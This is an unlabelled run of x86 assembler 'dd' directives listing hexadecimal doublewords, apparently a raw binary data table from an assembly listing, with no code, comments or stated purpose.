dd 0C4319DB8h, 84F6F0h, 859EA1BAh, 2D884BC1h, 94BF1200h
dd 8FDFDB31h, 0E1F20081h, 0B0B7798Ch, 46351DA1h, 749BE0B3h
dd 1FDA02D3h, 7074F4FEh, 0C0C08F1h, 27FDD488h, 0C860216Ch
dd 332454AAh, 8AD934EDh, 63203814h, 827C309Dh, 0C8DD4BD3h
dd 48409880h, 8B3E4EFEh, 0C007C858h, 4CA35028h, 14ACB70h
dd 6E5F10CAh, 2A2E7E68h, 0C0176CAEh, 0FC1A1046h, 7E220279h
dd 0C8DEE2F3h, 0C309C4C4h, 692C664Fh, 0E82D3408h, 0B3FCB902h
dd 0BE0F479h, 783FFAA4h, 1FD680AFh, 9BB96AADh, 9E980161h
dd 9F8F68F3h, 21E98064h, 703FABD8h, 7ECF845h, 929C1D50h
dd 8AAE8064h, 4B4BA149h, 10E36020h, 0FAD10073h, 8A263861h
dd 4E00E6EDh, 0E97F859Ch, 16DB1CF5h, 91E01E47h, 80563480h
dd 6095E8A9h, 15FC6A8h, 61A4CF5Eh, 669AC464h, 5D68E0B4h
dd 3EF300A9h, 1AC67741h, 1A9FF76Bh, 44E067B8h, 8D926163h
dd 262572C8h, 222E304h, 0D96FB0C6h, 4D6B6C5Ch, 0B135C228h
dd 3A386041h, 4B648800h, 0B47A0F53h, 9465C68h, 176DE300h
dd 19835101h, 465E18BCh, 356586Fh, 0FF162BD0h, 7EB6D13Eh
dd 1F2F2EDDh, 15548004h, 3BA13F48h, 324C0400h, 0FBE5145Ah
dd 0ECA433h, 0DE393812h, 5B92A1Ah, 0D201BD00h, 0F5994582h
dd 91481EF7h, 70FE1497h, 26807E05h, 0C2DCD022h, 0B807ECF8h
dd 0DE4BF04Fh, 0D8ED7AE4h, 0A2F6E8ADh, 0B2E90305h, 0AC4852F4h
dd 16DFC0C5h, 0E9435A89h, 16D87280h, 89EC2F9Ah, 0D2135AF2h
dd 2D07434Bh, 0D0293FFEh, 5990A028h, 2989416h, 28195CF7h
dd 0BC80CC0h, 9138476Fh, 0EA42A605h, 0C0849441h, 0BEEE5CE0h
dd 0B0029B4Bh, 0C21069D8h, 65AC5404h, 886CCE08h, 0C6ABC06Fh
dd 81E68338h, 0F0591600h, 92D6DCBh, 46A02428h, 879A018Ch
dd 0C6F8DA1Fh, 4B0FB472h, 0A0049984h, 95DD7CD4h, 0EB2025BBh
dd 31914017h, 9AE9A481h, 4D2EE0B5h, 0F3116403h, 0BC383612h
dd 4AC8D09Ah, 28409DCEh, 99D3D676h, 0EAD00F9Ah, 0DBB622B1h
dd 42CC80E0h, 2D678F63h, 6097A182h, 5F812991h, 3409D848h
dd 0F413F9E4h, 0ACB49C7Ah, 1A0E40A5h, 928028B6h, 0F0DF6EBCh
dd 295E00C8h, 0EFEA76DCh, 18093CBDh, 2056827h, 2BD638h
dd 0E1D09B4Ah, 6C17E226h, 0DADF07F4h, 5042AC69h, 0CFF80668h
dd 4163B002h, 6123D780h, 0AC654C4Ch, 0A5805468h, 3AE40375h
dd 4B00257Fh, 346BD95Ch, 74C768A1h, 9CFC0021h, 875604F0h
dd 98139B3Ah, 0C0B6EAAFh, 34B12C20h, 6B181E71h, 0C4DF701Ch
dd 85B38D40h, 9FD4C175h, 562DC400h, 17B5C917h, 81899174h
dd 0F902D28Eh, 9F01807Dh, 90324E1Fh, 0DC17C59Ah, 0D55979B4h
dd 667F8228h, 2904767Eh, 8865493Ch, 0BF654964h, 0B1BAB6C0h
dd 0ECF70CD2h, 2217D34h, 356D400h, 3C4C2A5Bh, 43E80452h
dd 0F1A0CFFDh, 8C7ECE8Ch, 65839162h, 61EDE474h, 786DF8C0h
dd 470F7800h, 8F6AD0C9h, 902710B9h, 0FB9B7C4h, 0FEA24C75h
dd 2A21598Dh, 0C4CC0820h, 16BB00C9h, 0B66C355Fh, 1F02E251h
dd 4A89ACE6h, 5E9454DEh, 3818F7h, 0C6C8A73Dh, 0E6344965h
dd 6C857227h, 71C49990h, 29182Ah, 0AEA48ECCh, 1720EFBEh
dd 0C05D7129h, 3D326000h, 71A80E4h, 0A9D00143h, 0A8D079C7h
dd 0BCB4DE58h, 0D6168C80h, 0C0469CDh, 0F4B86274h, 28C80ECh
dd 8CD3BDE0h, 90D4A64Ah, 64829053h, 94C090B5h, 0D780BACCh
dd 522B6BD4h, 84A91B59h, 0CC206EE3h, 5AF6BEh, 0E5C881BBh
dd 0E65190ADh, 0A890334Fh, 5F320CEh, 3D40DADBh, 0E7BD00B5h
dd 42022AB9h, 7092D3F0h, 4E563800h, 4D6380D1h, 540AF8B9h
dd 5D0C0CEh, 0A3448749h, 4F68ACE8h, 0E87C388Dh, 128C0EBCh
dd 0B475FC2Ah, 0CA00CF90h, 0FFAB45D2h, 50D06CEh, 0D8DE8C4Ah
dd 34E050FDh, 8C0ABCh, 4A806710h, 7F6E9BD6h, 74E571C0h
dd 0B93B32h, 0A09634F7h, 61CD12D3h, 50149348h, 229714D8h
dd 89CC9A50h, 6B4CF9CCh, 1E64F045h, 60C03363h, 6C0229C2h
dd 0C6F65BCAh, 0DF084178h, 44DCE430h, 0BF88192Ch, 0B126007Bh
dd 2B90ABD7h, 8C009C1Dh, 0A464A149h, 48FED653h, 4EC8FC69h
dd 4DE65E87h, 8A4F8310h, 0B44C89h, 23ED4712h, 0C022C3DCh
dd 0FF5D0029h, 0B6ECE461h, 0AE009EE5h, 0D63ACF13h, 782237h
dd 0C3D4F758h, 424FC5DDh, 0A673E076h, 11FDF613h, 97A5141Fh
dd 87609108h, 0C6F02C0Dh, 26A37C3Dh, 0C0146C38h, 0B2392A1Ch
dd 14C65704h, 0C981768h, 0D0CF1351h, 6A90F105h, 17D5B007h
dd 9555F041h, 4068DC20h, 3F15B963h, 0CEE43152h, 0D72405A1h
dd 20ECF492h, 0B2BD121Eh, 0F200B177h, 0B67318A7h, 3CDC596Fh
dd 98017E27h, 0D0C2052Ah, 2592D8B1h, 63C4A905h, 0C4C0D53Dh
dd 0BCD7691h, 6EFEF377h, 0CDA73471h, 16F4C01Ch, 737D63D5h
dd 0ED711B03h, 3E11C04h, 0EABF94B1h, 4BA8BC76h, 34004241h
dd 3EF8E7AEh, 0C9A8145h, 0FBB5D02Eh, 6416F9E8h, 88296E42h
dd 5180E3F9h, 0BEBF14A5h, 58055B13h, 24A098CEh, 8C81B4C5h
dd 6873D6E5h, 0A3304EE2h, 24AD7E45h, 84B85DBBh, 0FD508E37h
dd 9042D74h, 70745B18h, 971F3FA9h, 72C0F05Fh, 0AF0DF3A5h
dd 6D7E8FCh, 0B4AA5908h, 540D604Eh, 781A1CE3h, 747450A6h
dd 0F1008846h, 0B8661F29h, 0FA035A2Fh, 0F09D200Eh, 1CF08D0Dh
dd 0FB7F20D7h, 2E8CF91Dh, 9550002Ch, 7473FA77h, 1F6E07EEh
dd 0F5D0602Ch, 0D298D604h
dd 9795DCEAh, 8E8011D4h, 9CFF003Dh, 128B127Dh, 64796357h
dd 0E9E804B0h, 0F4F901EBh, 0C229FBAh, 0C85E5584h, 6439ED2Ch
dd 0E01627D6h, 0CBE678h, 3C4D740Dh, 0DCF9EFFEh, 6F79ECB9h
dd 2600AB18h, 0D804CF68h, 980DADCDh, 34405988h, 0C874CB5Bh
dd 0AED6C009h, 8F05C969h, 590C9A5Ah, 28CF28A0h, 0B1FC2888h
dd 1815D1C0h, 0A5113B39h, 27C8F83Eh, 0AA643F03h, 605C7A08h
dd 30EEBD6Ch, 20B55D4Ch, 0DECFCD90h, 0EC5505BFh, 803FA6D5h
dd 3C54D961h, 7F14C73Fh, 8F598702h, 516EA153h, 184B7964h
dd 649C090Fh, 8821A8A2h, 2F8365FEh, 8C7AD82Eh, 8BC9FF03h
dd 0C812E32Eh, 24B4C0B6h, 111C6ED0h, 8CE1353h, 38B194E4h
dd 0C43048C8h, 9A94F711h, 9C8E6F5Bh, 55C025C8h, 7146544Fh
dd 0AC83546Eh, 0EBFE002Fh, 0B1447E99h, 0E0761D4h, 8A8D29B9h
dd 9D6407E9h, 0A6B56321h, 9AC00C6Ch, 85F526D3h, 0A516BF72h
dd 0E8F070FEh, 78951229h, 2C649DA2h, 8C23ACB4h, 0D5CB5902h
dd 599AECF9h, 505BCB4Ch, 2FCE4350h, 0EC64CFDEh, 23AA3F10h
dd 0A848805Ch, 0F8C88BCh, 155E56F6h, 391EA060h, 522F1704h
dd 2E702166h, 0A1F205D8h, 782A5CE4h, 0AC1C2C09h, 0A4E08C22h
dd 0D4FB740Ch, 0BD71B831h, 1F910097h, 8CADD880h, 89286BC1h
dd 381CF41Dh, 0A1427EFFh, 792FD65Ch, 181F7918h, 4C8B0359h
dd 7388B8F7h, 6C5AF013h, 2E05A422h, 0CE1E24Bh, 45E2CA63h
dd 3D88C0FCh, 37B2078Bh, 46BA52EFh, 194510F0h, 4A905830h
dd 51B48026h, 5F1D6AC7h, 28727BB1h, 5CE2753h, 58BCF84Ch
dd 8A2177Ch, 202AE4A1h, 0B5411410h, 4F01FBFCh, 6484FEF4h
dd 887418D2h, 94D516ACh, 0ED808001h, 6418D3BCh, 0ECD07902h
dd 21A43063h, 31591538h, 0E48884BFh, 0B3E95063h, 9871CAF9h
dd 4C80BD64h, 0C391C7h, 0B84EA25h, 0C939D48Eh, 0E98DFA1Ch
dd 80BCA2C0h, 120353E2h, 2775618Fh, 6E8D50E0h, 68001F49h
dd 0FC01A377h, 0B3F38CCh, 0D81CFD4Ch, 1727C4F2h, 76D0A0E4h
dd 1116B8Bh, 58D7B82Ah, 0F8A47281h, 9BF094Dh, 4438E764h
dd 0E540604Ah, 246402D0h, 0A2F65CFCh, 6562744Fh, 0A5FE8166h
dd 0B83C1A74h, 0A719C7C0h, 0B80064D7h, 0BF623198h, 0BECEDF01h
dd 5C43AF28h, 39C62298h, 0F8C8909Fh, 4809000Eh, 0F7FFB685h
dd 9507AAA6h, 6347CC93h, 0FAA4D091h, 0B91E9C3Dh, 4A9654h
dd 0AF032CECh, 21983AD6h, 5A61F094h, 902BF88Ah, 910DFB4h
dd 9DC8CE95h, 8A912097h, 19EA482h, 49D8CB82h, 8B397456h
dd 823C4C83h, 0E478E630h, 440D2D50h, 4C913C9Dh, 2F093780h
dd 0DC13B3BFh, 0BC8D941Ah, 9C98306Ah, 194018FBh, 19D258DAh
dd 22BBF860h, 525E6551h, 0ECE5A406h, 79E4B9E0h, 0F79188Bh
dd 2F4104C0h, 90DCFE64h, 86BEEF5Ch, 18E1EE2Dh, 0D3EB175Ch
dd 9BBA0021h, 0DF38AE86h, 0D8643C14h, 34B500E6h, 31B3E0FBh
dd 7C52270Eh, 817EFCA4h, 39089200h, 0FCA9D2A4h, 0EE0532A8h
dd 0F70ACBE7h, 204D000h, 40442E9Eh, 41FB217Ah, 326455A8h
dd 28177B50h, 909CED3Ch, 5E78BED8h, 0CD016D46h, 0B5E69184h
dd 0D232F0B3h, 5E4CC449h, 38B15841h, 9024E758h, 340907F7h
dd 96284767h, 0DC99880Fh, 11009749h, 6AA28123h, 642AD372h
dd 0B204E228h, 0B82B302Ah, 0A107CB03h, 98E439BDh, 91FF81FEh
dd 5D9D8308h, 3CC0555Eh, 5491E09Fh, 1CCDD482h, 9D00A24h
dd 145C5518h, 547AC641h, 23743A2Eh, 0E8150031h, 0EEAD9BD3h
dd 5AC79102h, 62C020CEh, 0E4E4399Ch, 6FA28023h, 7C8EC930h
dd 0C453287Fh, 0D3F90BE4h, 54A004FDh, 0E7AB6B79h, 340B274Fh
dd 27DCD25Eh, 3CA4ACEDh, 4BC48001h, 0F55AB670h, 3907C86Eh
dd 27F39EE3h, 0E8B5CB62h, 809D1E91h, 10C78780h, 43137652h
dd 94281E0Eh, 6A470F11h, 0A1A96F90h, 20111C1Dh, 19901380h
dd 9C0B6B52h, 52F8E032h, 92F90034h, 0F02578A8h, 3A00EBD8h
dd 0D7DB8A5Dh, 26ACFDD4h, 76008529h, 0E3001446h, 13BF3986h
dd 47046C41h, 796664FCh, 0C11664E7h, 0E27CE282h, 0E1E2300Eh
dd 1490754Fh, 55FF27Bh, 2185FE91h, 3044B5A1h, 952C64B4h
dd 804ED4B2h, 0CB74E597h, 0E7334AB4h, 5B338E8h, 6DABE006h
dd 0F60088E2h, 0BDEC800Fh, 64B1A1ACh, 465C244Ah, 80863888h
dd 0F244AAE6h, 5CFC11E0h, 0B610A4D4h, 2598487Ch, 58007399h
dd 8C16D3EAh, 8421858Eh, 280939B1h, 8C4AACF8h, 2507C800h
dd 0ECF9AB2Bh, 449C4B42h, 2F6643Ch, 0D0C6F4F7h, 0C99D1F0Ch
dd 0B356419Eh, 604C6190h, 40AD37D5h, 102BDCE0h, 0F9870668h
dd 0D96D5A64h, 4B410877h, 19F3C7F0h, 98910412h, 228C0850h
dd 0B90283D2h, 82DD35D3h, 82705ED0h, 19ACE650h, 0AB80087Ch
dd 1492D3F1h, 0F7070ABFh, 74F09650h, 68008A46h, 982EC469h
dd 794FCBBBh, 0E23442Eh, 0C69B2000h, 590E562h, 8E8595CDh
dd 2E8BCBAh, 36E467Fh, 0B8D44052h, 0C4968421h, 0B3FED4h
dd 0CCD6698Dh, 4846FD1Ah, 3A5FD003h, 255B725Eh, 0BC721C70h
dd 76C123Ah, 0EB52F4A2h, 7388DBBBh, 98CFFCB8h, 6417789Ah
dd 9C12B08Ah, 0A4C094BCh, 85E6EAF8h, 0DFA13E39h, 78A05C60h
dd 88D84AB4h, 0A5F674A4h, 96F3DE38h, 0B804B1EBh, 589080EAh
dd 88A08308h, 0D816473Ah, 20C09245h, 48498266h, 241BE812h
dd 71A8A8AEh, 0A730705Dh, 0E382612Ah, 7BDF0F8Dh, 491325BBh
dd 0FC847F28h, 0CCE0474Dh, 501108B6h, 4052F059h, 540F4E5Ah
dd 0EF8EE37Eh, 631F6518h, 6D30C840h, 5FECD377h, 4220D12Eh
dd 342E3B99h, 0F3004723h, 8A7FA84Ch, 9CDF160Bh, 2AECA44Fh
dd 0AC335712h, 4CBC2CE8h, 0C658008Ch, 1045C12Fh, 4609A138h
dd 0C01DF4C8h, 54D89A04h, 2AB006h, 0CA79816Eh, 5C0CD34Ah
dd 159EECA0h, 5600F17Dh, 145DD7AFh, 11996FEh, 9A2DED94h
dd 0A4F5AC20h, 0A00C8440h, 30583Bh, 52F8FE42h, 5E62DB66h
dd 0BC38DE48h, 853F8C6Eh, 0B30503A7h, 98B298D0h, 9CFAFDD8h
dd 0D8D53DBCh, 23442F2Fh, 5191608h, 0B2A3F1D3h, 3008F20Ch
dd 561218C1h, 3CECA29Eh, 95627580h, 0C600D6B3h, 0DD52BDFDh
dd 0B637A64h, 0CD594CDBh, 6F124974h, 0EA50A4h, 8317F05Ah
dd 8B16C94Ch, 0E675F490h, 0D0401C5Eh, 0B22BAA8Ah, 25703AA0h
dd 985C097Ah, 70DBEFD3h, 494F470h, 8A7C6C4Ch, 7178A854h
dd 0C8D8EB05h, 44E8BC28h, 1E8C8200h, 8D648BC3h, 0FD2C2310h
dd 7E5CF704h, 0EFD08855h, 5929C405h, 0D8C0AC85h, 9E0EF4FBh
dd 0E74D0194h, 4FE92147h, 0C3467420h, 84A11925h, 0C4D9331Eh
dd 4E00C630h, 0F9D15459h, 0E4B84ADDh, 147724CEh, 80452D8Ch
dd 0E06049C4h, 0F31C54A4h, 8044C9F5h, 48FD1C4Ch, 0D45E7A00h
dd 0BD00EF9h, 91AC97B7h, 0A0DE804Eh, 0FE9364h, 8C4A523Ch
dd 0D4EDF0F9h, 78D22D25h, 0D3E02DF4h, 909BC44h, 725EE6ADh
dd 13DFF808h, 0CB994E84h, 0A39FC4h, 655B74B9h, 7C12D001h
dd 54A98546h, 1643C99Fh, 6400205Eh, 5192BC40h, 2181606Fh
dd 15146AA2h, 5A0A2600h, 8A6D503Fh, 709509BFh, 9C0AB6EAh
dd 5E2C3934h, 9467460h, 2AB8E83Bh, 84E09206h, 0D49EE863h
dd 247101DCh, 3449435h, 3A0821E2h, 8500886Eh, 2634644Eh
dd 77028D95h, 0D8284860h, 9C2CD613h, 0D7A57D47h, 9170C0DBh
dd 739005A8h, 0A2588D7Ch, 3060F2B0h, 3401EE94h, 0EF9EBB9Dh
dd 8A30CEDFh, 4B102CA2h, 0A27A44ECh, 3013E2FCh, 2073A3DFh
dd 0D3D4B638h, 3315A224h
dd 79CF22E8h, 8236613Ah, 0A22EEA40h, 27CF4C0h, 0FCCE37FEh
dd 0A4823C48h, 0E58298B6h, 0E780A099h, 60136488h, 141A149h
dd 78D3CAB3h, 6B3637FCh, 58305004h, 0E9801CE8h, 0A51E7B6Bh
dd 0CCF3081Dh, 52D62F40h, 0BD186CD0h, 80DC68A8h, 8D4CFD10h
dd 0A039C964h, 1B19785Dh, 0F82054DDh, 0EA308180h, 69E575CCh
dd 348E894Ah, 0A4CE0788h, 0F8BCEA83h, 0B1D2980h, 70E9CE20h
dd 0FE3345F2h, 6A1A054h, 0C2D3DF81h, 0D7FC3081h, 7484044Ah
dd 146EEBh, 0C18B773Eh, 3068B2A5h, 0CC587F4Ch, 0F77E856Fh
dd 60E3AC03h, 0E5A2FB83h, 1DE850FDh, 0D756A102h, 83584C45h
dd 0C31C3198h, 9BF94F94h, 0A0B98010h, 0BE55D5E0h, 0FA6B8588h
dd 4EA4B1D3h, 0C01F88D8h, 0AF9DEED9h, 0F7047F7Dh, 44F85E39h
dd 4B900C5h, 3B206E4Eh, 66A80BAh, 7CC9DF2h, 3FBF2CBCh
dd 0ECFB1329h, 0F8DB5A54h, 600DC281h, 4D54523Ah, 0DC20D020h
dd 5C40974Ah, 774E3A94h, 1FC8CCCEh, 0B98C70C0h, 27F600A1h
dd 2F70463h, 2D01A5FCh, 2F8576C7h, 5CE4534Ch, 1C7C9636h
dd 0B82392F3h, 8CEDBC10h, 88276D02h, 647D554Fh, 94C0BA8h
dd 4460E3DCh, 0BC0545E8h, 0B23E6490h, 0FD84A31Ch, 49FE7637h
dd 3C420500h, 2579C471h, 0E000818h, 0A14D90AEh, 7F664263h
dd 0C1982576h, 6ED190F1h, 0E700FF18h, 98D3328Ch, 60757B0Eh
dd 6F89215Ah, 1407B42Eh, 11F4503Ch, 0DC731050h, 7918B19Ah
dd 43184Ch, 0C63E0813h, 5B6E2D22h, 1FDC69C3h, 7C3C9917h
dd 12FEF4F0h, 0F6B69D69h, 0B0B7E3C4h, 258D63Bh, 1CEFBA1Ah
dd 20CD0729h, 9D44FBE0h, 636B03EBh, 0F3350EE1h, 81B89FFCh
dd 0BDA0FE87h, 269D6ED0h, 8994022Bh, 84C58864h, 23676DE4h
dd 96C8A4DDh, 0FA30A1ECh, 2BEE7118h, 0ABC500C6h, 32F662C3h
dd 900DABEh, 0DB0CA2CFh, 983696h, 705075F2h, 0F136728h
dd 0C676B600h, 0D7F6C8B3h, 0AC84BFB5h, 1E2CB292h, 0A7C71EB2h
dd 0AC81757Ah, 7208849h, 4B033C28h, 0A264D007h, 64F6A95Ah
dd 4C4674h, 0C2824740h, 7C34ACC9h, 3862F351h, 34C6E025h
dd 48023711h, 5C3CA209h, 6DD9E0D1h, 73024418h, 8C38B53Dh
dd 1CE0405Dh, 0AB3A007Fh, 53E28280h, 6212EF39h, 0E8F0248Ah
dd 412B7C74h, 6F58452Eh, 71400C0h, 9D2FAC9h, 1106015Eh
dd 0F97C4FACh, 8C288F54h, 0BDC467B7h, 4DC94072h, 6DBCE03Ch
dd 0BD027609h, 0E8FB4C50h, 0DDEF002Ch, 4E118266h, 0E64F5980h
dd 76ACE004h, 0C32109BEh, 680B6AA9h, 0A8C0D0EDh, 0B00F98CFh
dd 45F02014h, 19F93F17h, 46F4A704h, 0EC4000FBh, 0EF9B67B9h
dd 801435B7h, 1D082501h, 0B91FDA4Ch, 4B4128D3h, 87AAECFCh
dd 0C9E56081h, 38825CF9h, 9EEB0120h, 0CAD5DF0Ah, 0EC3C7475h
dd 8C8BBCh, 0B96FD4FEh, 9E3FFDFFh, 0EA5D2092h, 0ED302DA4h
dd 0C8E6C028h, 0FA487F0Ch, 91A980D4h, 0F50E58h, 57957B34h
dd 0B35F45C9h, 70018338h, 0CF52443Dh, 1442A8E4h, 0A8C8D4BAh
dd 8C25E8h, 9598D4AEh, 0E4282E64h, 800B8C9Eh, 8B056F2h
dd 2F164DE8h, 7AEAFC84h, 3629005Ch, 2C069EADh, 9A5A134Fh
dd 0CE4A8B0h, 69E519AEh, 4AF400CBh, 0D381BD35h, 0B1027802h
dd 11A7089h, 4608E016h, 0A70A806Eh, 82137494h, 99405086h
dd 60D4D318h, 333B7ABh, 0E2D485ACh, 0ED80BB57h, 0DA284376h
dd 521AF426h, 5FD0AB6Fh, 6BB404B8h, 0C217501h, 0C0028305h
dd 740930D7h, 7D4BB42Ch, 2C5A2100h, 9C2E82A2h, 0AC153C3Dh
dd 0B3843E06h, 0AF00288Bh, 0D9D2B7FFh, 3BF3F75h, 0D4B9CC48h
dd 35A3C739h, 62008AA3h, 43B7797h, 1D4D4Fh, 55D2C498h
dd 0BA227489h, 0D133D700h, 81C204DFh, 0CB4E8FDh, 0E683388Bh
dd 8C3B1A69h, 11B1B06Fh, 229D4h, 23183ABCh, 214833E2h
dd 21C0CCE8h, 4A0231FEh, 5647077Dh, 0C39C3979h, 88969F83h
dd 4F08C518h, 51488BE8h, 68910C13h, 22D807Bh, 8C383AB8h
dd 0F2CD44h, 0B7A0235h, 4FDCAEC4h, 1023BD07h, 0CD601DBEh
dd 824D879Bh, 7246B834h, 2E169901h, 87779C26h, 6FB02C19h
dd 0B6AEDBF0h, 0C328004Fh, 0C67E86B8h, 3D00F806h, 2AAB9C95h
dd 32C15BFh, 39109332h, 0C1D8E3D1h, 7A73BA81h, 42FAE00h
dd 0DD566A9Bh, 4F1E14B5h, 768050CEh, 7B050B21h, 4C6E448Ch
dd 12217E00h, 0FC465BD7h, 87F20051h, 82C3CD39h, 0A0A0557Bh
dd 31C08899h, 0EDE638Bh, 0C04174A4h, 80BC2D10h, 7103C42Ah
dd 0A1CE87E0h, 3936A3DFh, 808B7F21h, 2D8175CCh, 0F067D0EAh
dd 0E060E73Bh, 0CFD4D20h, 877638C7h, 5F41680Ch, 21C0F609h
dd 0B7C7039Dh, 1096018Dh, 59478797h, 1C84739h, 20B362C0h
dd 0AB1D8954h, 0C7030E3Ch, 0F3878F63h, 4B02367h, 3480B603h
dd 58A844C4h, 0E48D8930h, 5D0E2280h, 0EC7B7559h, 12E08903h
dd 20260977h, 94486304h, 30DE6424h, 2A807011h, 103ABD02h
dd 0FDCB448Ch, 42023200h, 63B629D9h, 469D30ACh, 0ED1F7A81h
dd 0C157F100h, 82BA4968h, 2FB024CFh, 80729164h, 3ABB0230h
dd 0C0989120h, 0A50238FFh, 4ED8A200h, 3D933914h, 0DDD1C087h
dd 683FCC31h, 0C8AC36F0h, 69C70904h, 0A0381887h, 1C7103Eh
dd 0FB5B21B9h, 5180C2E6h, 2D901F32h, 1103DA08h, 0EBC19FDBh
dd 2A83A5A9h, 7EABC10Dh, 31C8CC4Fh, 1AB9FFC0h, 0EC5D48C7h
dd 35B82490h, 1D85008Ch, 0DEA7ACFh, 0D7280753h, 0F0A7847Eh
dd 61607444h, 0E87C9178h, 1A187C98h, 0B5A05AF3h, 96F26F1h
dd 1A83280h, 3A80B930h, 2246C42Fh, 0D18C0036h, 7669F580h
dd 53155F04h, 7B4C1E7h, 0D6E88750h, 1D2A30F0h, 0D4A00097h
dd 0AA5A64A4h, 3018129h, 0BE578B3Ah, 84CCF2A9h, 0E3D224C2h
dd 81DD0094h, 0CC6B0FFFh, 598911DEh, 0FE6C003Bh, 0CFC3E307h
dd 39C48718h, 85A4033Ch, 0E598260Ch, 0BA4D8004h, 3B2DA132h
dd 2E1CF64h, 2E80B860h, 11D1C423h, 0D058712Ah, 66B3025Eh
dd 41A643B6h, 5E825A40h, 0B193D148h, 87687460h, 98BD5718h
dd 77080C88h, 4EA0CFE3h, 3ED1887Bh, 57DEDD5Fh, 68C038E0h
dd 21051521h, 789101CBh, 904226h, 7AC45EC9h, 2C915C97h
dd 0B4607E12h, 24B70234h, 70E8403Ah, 2003CF3h, 0B2F7BB0Fh
dd 188D19EEh, 0A8E41F0Ah, 8C54915Fh, 48CD250h, 517216Ah
dd 277262DBh, 0D6215048h, 0CA18D269h, 0F519829Ah, 0E2630FCBh
dd 0B9E10368h, 0EF833DAEh, 0D1319105h, 0CC103930h, 73401890h
dd 16107A39h, 452D9BF1h, 4044A494h, 962997C8h, 1F005761h
dd 2EE6AE02h, 3FCF1814h, 0D981662Ah, 0D39DC989h, 640882E1h
dd 0FC7B287h, 258C2480h, 0CE01FD5Fh, 7FE7561Eh, 2980D355h
dd 95653BC9h, 11C0A1B1h, 2B4306FDh, 0E97D1Ch, 661924D5h
dd 99FF8ABAh, 55B9B600h, 1846E55Dh, 0F93F00C0h, 79C8B454h
dd 9300378Ch, 20A011A4h, 30825174h, 0D63873B9h, 0F401C2CDh
dd 9E23C83Fh, 898B837h, 0C5F821D1h, 0DADCC200h, 9A4B1D75h
dd 23C70031h, 0AC11093Bh, 2218F4BCh, 0EA30B499h, 74FAE61Ch
dd 7BDBE0F8h, 8213023h, 9EC36928h, 36F7C507h, 0E7D3B69Ah
dd 0FF0800A0h, 0C45778ADh, 0D2068B5Dh, 805F2FFEh, 7A9F31B0h
dd 301A6EE1h, 0EA01FB8Dh, 5FC6062Ah, 50D82158h, 36400104h
dd 8346F961h, 222C4384h, 861DB999h, 9E315C80h, 4F2A0C18h
dd 66608637h, 210E740Ch, 37C5F1C2h, 3A105F5h, 28B6034Fh
dd 0EE49C00h, 7158AC51h, 0C9B60C04h, 0B9699DE7h, 5E371400h
dd 3982A23h, 97FA3A1Bh
dd 0DF21B030h, 0AB00370Ch, 0BDDA1CD0h, 148350B7h, 707072B5h
dd 0E7BED907h, 0CBC2705Bh, 0B9C2853Bh, 9D9EE834h, 80D011DCh
dd 52257AD3h, 0D4D90304h, 7B832788h, 6B1CD00Ch, 8CC3C8E2h
dd 58370E0Dh, 6412C023h, 6D920B5h, 0FD07D437h, 0DDCEAAF6h
dd 0D1891973h, 58837807h, 0A7E84BE1h, 0F2C313Ch, 0A0F4AD32h
dd 0D1C1363Eh, 0CC03006Ch, 9AE94237h, 5D00B3BEh, 5995742Dh
dd 64C3D1BDh, 60C89892h, 2B5D3713h, 11B02223h, 0BDE00B4h
dd 0D8E53D37h, 0D37131h, 8880DA77h, 0A3E92C5Ah, 440029DCh
dd 0D64C147Ch, 0B4A60223h, 0A1E529B5h, 9A699440h, 35C0912h
dd 0F51F0047h, 0F688CFB0h, 807719DAh, 801408DEh, 79ED4221h
dd 0CFA9483h, 0C5FD0941h, 0E0E3FB48h, 2F14FF67h, 68C9D87h
dd 0BAC910E7h, 9AAF2820h, 25046E8h, 3FF3C2CCh, 40DC33C0h
dd 41C2C4F7h, 0E61E1968h, 1852400Ah, 0F5C208CEh, 0CDC4D03Fh
dd 0C2C6F940h, 640619DEh, 0E59A92CAh, 20646F0h, 88CC79F2h
dd 101B31DEh, 1F79EA3Fh, 80D78287h, 0EEAF6DC3h, 59000F07h
dd 178C9DB5h, 750585CEh, 82830CD6h, 380B812h, 0E8C5B62Bh
dd 5A371001h, 120E0A23h, 340008DBh, 80A9C2AAh, 0E6827BBCh
dd 60D56FEFh, 6A4C6C40h, 60A40D9Ah, 0D379F904h, 1C621688h
dd 79F14620h, 0A60400ECh, 0B01A21CBh, 0A74C313Ah, 295D1068h
dd 0AE83820Dh, 50C5D989h, 0C495C6A0h, 80751239h, 0B61C7E7h
dd 7FF42A2Dh, 0BC5437D5h, 0B0F8E129h, 8AF441ABh, 88D44E5Dh
dd 3FFDC0CAh, 0AD60B101h, 0BA82C048h, 0DBBC14FEh, 0FA7080E6h
dd 21BC9056h, 5F2CA5A3h, 1076E30Ch, 71311B41h, 0EBD840BBh
dd 0F83032C5h, 220F28F9h, 70756161h, 642D08B7h, 0A164B814h
dd 0CCB03F9h, 0F7C0B4C8h, 11D93h, 3224B3C5h, 0A66CFA7Fh
dd 0B65B8201h, 0BD8FB4FEh, 5DD5C09Dh, 30116E83h, 0F9C59540h
dd 0ED40B54h, 4A81F52h, 0C8F12941h, 8F266500h, 24B2C16Ah
dd 0A19B1B20h, 0F8190B64h, 8823D179h, 12171106h, 0F714EF44h
dd 0EE37064Fh, 1CC9A9E8h, 83813C5Ah, 68892F7Eh, 2CE743F8h
dd 19796E0Bh, 44C1AFFh, 0D26056ECh, 3F23F9C2h, 0FDC43DF0h
dd 0C8CA4Ch, 0C57D6F18h, 160E7A27h, 407B9F6Ch, 0E72E5200h
dd 0D903CDA4h, 0E1113FC7h, 5AF826A2h, 80CA1188h, 235F3715h
dd 10FF8C32h, 0FE370DE0h, 12CB1C59h, 0BC8DC062h, 0E16B25AEh
dd 6740648h, 0EAD7C29Eh, 73C08181h, 0CA80814h, 0D279F8C0h
dd 220E4688h, 0F0450019h, 1164379h, 0F7285176h, 6520DC92h
dd 0EE813C1h, 23043EB6h, 0A34F0EB3h, 0B1103901h, 0B308203Fh
dd 0B1250E80h, 829E0A78h, 0DBEE80A4h, 0A0E643DCh, 81F9400h
dd 0FBEB0434h, 2048B8B4h, 0D1142449h, 23E45A8Ah, 0C2D00154h
dd 18E03FF7h, 0C8FB88D3h, 2E0AC200h, 9D789CF4h, 5BC4023Dh
dd 43BC977Eh, 79255068h, 0B8D7FF28h, 7D225920h, 0D987303Ah
dd 14DD3120h, 6DA91206h, 46898B6Eh, 0C2D10255h, 67E83FF8h
dd 0C9FC0714h, 7C9F43C2h, 5259F900h, 5F042A93h, 0F51909F8h
dd 0B8277FBCh, 0A8384C6Ah, 31803B30h, 6F83BCFCh, 0C1F20E7h
